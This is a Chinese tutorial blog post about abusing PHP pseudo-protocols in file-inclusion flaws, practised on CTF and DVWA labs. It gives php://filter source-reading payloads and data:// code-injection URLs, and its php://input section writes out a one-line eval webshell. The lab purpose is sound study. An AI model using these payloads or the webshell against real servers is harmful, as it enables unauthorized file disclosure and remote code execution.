日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

了解PHP伪协议

發布時間:2024/9/30 php 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 了解PHP伪协议 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:最近做題web題很多都涉及了PHP偽協議,這次就來詳細的了解總結一下!

練習每個協議前,相關的配置必須開啟或者關閉才不會報錯,可以參考這張圖片

下面就來了解PHP偽協議

0x00:php://

說明:

PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 內存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。

php:// 訪問輸入輸出流,有許多子協議,下面就來學習一下

php://filter

說明:

php://filter 是一種元封裝器, 設計用于數據流打開時的篩選過濾應用。 這對于一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。

簡單來理解就是:php://filter是可以作為一個中間流來處理其他流,可以進行任意文件的讀取。而且當使用不同的參數可以達到不同的目的和效果:

例子可以看PHP官網,特別詳細
php://filter

這里通過bugku中的一道題來練習一下

打開鏈接后發現?file=show.php,涉及文件包含漏洞,題目中又提示說:flag在index中,那就可以用php://filter中的read參數查看源文件內容

構造payload:

?file=php://filter/read=convert.base64-encode/resource=index.php

這里之所以進行base64編碼是為了PHP不對其解析,這個payload也是常用的任意讀取文件語句,只要將后面的頁面修改即可。

可以參考官網的例子構造語句

<?php /* 這會以大寫字母輸出 www.example.com 的全部內容 */ readfile("php://filter/read=string.toupper/resource=http://www.example.com");/* 這會和以上所做的一樣,但還會用 ROT13 加密。 */ readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com"); ?>


解碼得出源代碼和flag

<html><title>Bugku-ctf</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag:flag{edulcni_elif_lacol_si_siht} ?> </html>

可以看到源代碼中對用戶輸入的file參數進行了過濾,但是源碼中的include函數將用戶輸入的引入php文件并執行,如果執行不成功,就返回文件的源碼,所以才要進行base64編碼。

php://input

說明:

php://input 是個可以訪問請求的原始數據的只讀流,可以讀取沒有處理過的POST數據。

php://input可以將要執行的語法php代碼寫在post中提交,下面通過DVWA來練習一下

若有寫入權限,也可以寫入一句話木馬

POST DATA <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

file://

說明:

file:// — 訪問本地文件系統,當指定了一個相對路徑(不以/、\、\或 Windows 盤符開頭的路徑)提供的路徑將基于當前的工作目錄。

模仿大師傅搭建一個本地靶場

<?php@$file = isset($_GET[file])?$_GET['file']:'ctf.php'; include_once($file); highlight_file($file);?>



使用file協議訪問本地文件,構造payload:

http://127.0.0.1/2.php?file=file://D:/PHPstudys/PHPTutorial/WWW/1.txt

訪問成功

也可以用這個靶場來練習php://filter協議

構造payload:

http://127.0.0.1/2.php?file=php://filter/read/convert.base64-encode/resource=1.txt


進行解碼

直接讀取也可以

payload:

http://127.0.0.1/2.php?file=php://filter/resource=1.txt

zip://協議

zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]

phar:// 協議

phar://協議與zip://類似,同樣可以訪問zip格式壓縮包內容

data:// 協議

data: text/plain,<?php 執行內容 ?>
data://text/plain,
data://text/plain;base64,

在DVWA中進行測試

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=data:text/plain,<?echo phpinfo()?>


也可以用base64的格式編碼PHP代碼

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=data:text/plain;base64,PD9lY2hvIHBocGluZm8oKT8%2b

注意要按照這個格式才能成功data://text/plain;base64,還有base64編碼后的加號和等號要手動的url編碼,否則無法識別。

+ %2b = %3d


可以通過一道題目練習一下:

例如這道題便過濾掉了php://,可以使用data:// 協議

既然可以使用就利用php中的system函數直接命令執行即可

http:// & https:// 協議

常規 URL 形式,允許通過 HTTP 1.0 的 GET方法,以只讀訪問文件或資源。

總結:這次學習大致了解了一些PHP偽協議,但還是需要結合一些題目來練習一下,這次就先總結到這,等理解更深后,再來詳細總結一下。

總結

以上是生活随笔為你收集整理的了解PHP伪协议的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。